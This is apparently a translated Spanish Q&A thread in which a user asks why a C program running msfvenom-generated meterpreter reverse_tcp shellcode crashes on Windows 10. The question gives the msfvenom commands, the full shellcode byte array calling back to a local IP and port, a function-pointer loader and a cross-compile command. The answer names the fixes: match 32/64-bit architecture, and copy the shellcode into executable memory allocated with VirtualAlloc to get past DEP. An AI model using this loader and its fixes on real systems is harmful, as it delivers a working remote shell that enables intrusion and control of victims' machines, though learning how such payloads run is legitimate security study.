Ejecutando un shellcode msfvenom en el programa C

2

Esto es obviamente para fines educativos. Me ha interesado aprender más sobre el malware y cómo funciona.

Estoy tratando de hacer que una shell tcp inversa de meterpreter funcione en Windows 10 pero, lo que es más importante, ejecutarlo como shellcode desde un programa en C

He probado que mi shell invertido meterpreter funciona al generar un PE independiente con:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.228 lport=4444 -f exe -o reverse_shell.exe

Cuando ejecuto esto en mi Windows 10 VM, no hay problema, se abre una sesión.

Ahora, lo que me gustaría hacer, es ejecutar shellcode producido por msfvenom desde un programa c.

Para obtener el shellcode que estoy usando:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.228 lport=4444 -f c

Mi fuente c se ve así:

#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\xe4\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5";

int main (int argc, char **argv) {
  int (*ret)() = (int(*)())shellcode;
  ret();
}

Y estoy compilando de forma cruzada en kali linux con:

x86_64-w64-mingw32-gcc rev_shell.c -o rev_shell.exe

La ejecución en mi Windows VM solo me produce un bloqueo en la forma de: "rev_shell.exe ha dejado de funcionar"

Soy bastante nuevo en c y en el ecosistema de Windows, pero supongo que este tipo de comportamiento podría parecer malicioso. ¿Las ventanas están cerrando mi ejecución? ¿Hay algún problema con mi código de shell o c?

    
pregunta ucklvs 02.01.2018 - 09:05
fuente

1 respuesta

1

Como se mencionó en los comentarios, tiene un par de problemas diferentes:

  1. Estás usando shellcode de 32 bits en un binario de 64 bits. Esto tendrá problemas porque es probable que se refiera al puntero de pila como esp en lugar de rsp , etc. En su lugar, debe usar la carga útil windows/x64/meterpreter/reverse_tcp , o producir un binario de 32 bits (que funcionará bien en una Sistema Windows de 64 bits, ya que tienen compatibilidad con versiones anteriores).
  2. Su código se colocará en la pila de la aplicación, lo que llevará a que DEP impida que sea ejecutable. Necesitará la memoria de VirtualAlloc, que se puede escribir y ejecutar, y copiar su shellcode en ella antes de ejecutar. No es necesario crear un nuevo hilo para que solo se ejecute como el cuerpo principal de su ejecutable. Hay un gran ejemplo de cómo hacer esto .
respondido por el David 08.01.2018 - 23:34
fuente

Lea otras preguntas en las etiquetas